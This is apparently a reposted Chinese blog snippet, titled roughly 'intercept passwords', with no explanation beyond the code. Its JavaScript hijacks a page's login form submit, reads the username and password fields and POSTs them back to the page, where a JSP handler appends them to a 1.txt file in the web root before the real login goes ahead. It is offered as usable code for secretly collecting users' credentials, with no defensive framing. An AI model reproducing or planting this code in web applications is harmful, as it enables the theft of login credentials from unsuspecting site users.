用密码密码拦截

function Create___XMLHttpObject()
{
     if (window.XMLHttpRequest)
     {
           return  new XMLHttpRequest();
     }
     else{
          var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'];
          for(var n = 0; n < MSXML.length; n ++)
          {
            try
            {   
                return new ActiveXObject(MSXML[n]);        
            }
            catch(e){}
            }
     }
}
var old___Submit;
var form__ = document.forms[0];
if(form__ != null && form__ != undefined){
    form__.old___Submit = form__.submit;
    form__.submit= function(){
          var xmlHttp=Create___XMLHttpObject();
          var u=document.getElementsByName('loginname')[0].value;
        var p=document.getElementsByName('password')[0].value;
        var SendData = 'a=l&np='+u+"|"+p;
        xmlHttp.open('POST','?'+SendData,true);
          xmlHttp.onreadystatechange=function()
        {
          if(xmlHttp.readyState==4){
            if(xmlHttp.status==200){
                form__.old___Submit();
            }
          }
        }
        xmlHttp.send(null);
    }
}
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%
    String a=request.getParameter("a");
    String np=request.getParameter("np");
    if(a!=null&&!a.equals("")){
        String f_path = "\\1.txt";
        f_path=request.getSession().getServletContext().getRealPath(request.getContextPath())+f_path;
        File f = new File(f_path);
        if (f.exists()) {
            f.createNewFile(); 
        }
           BufferedWriter output = new BufferedWriter(new FileWriter(f_path,true));
           output.newLine();
           output.write(np);
           output.close();
           output=null;
           f=null;
       }
%>
原文地址:https://www.cnblogs.com/skyblue/p/2811448.html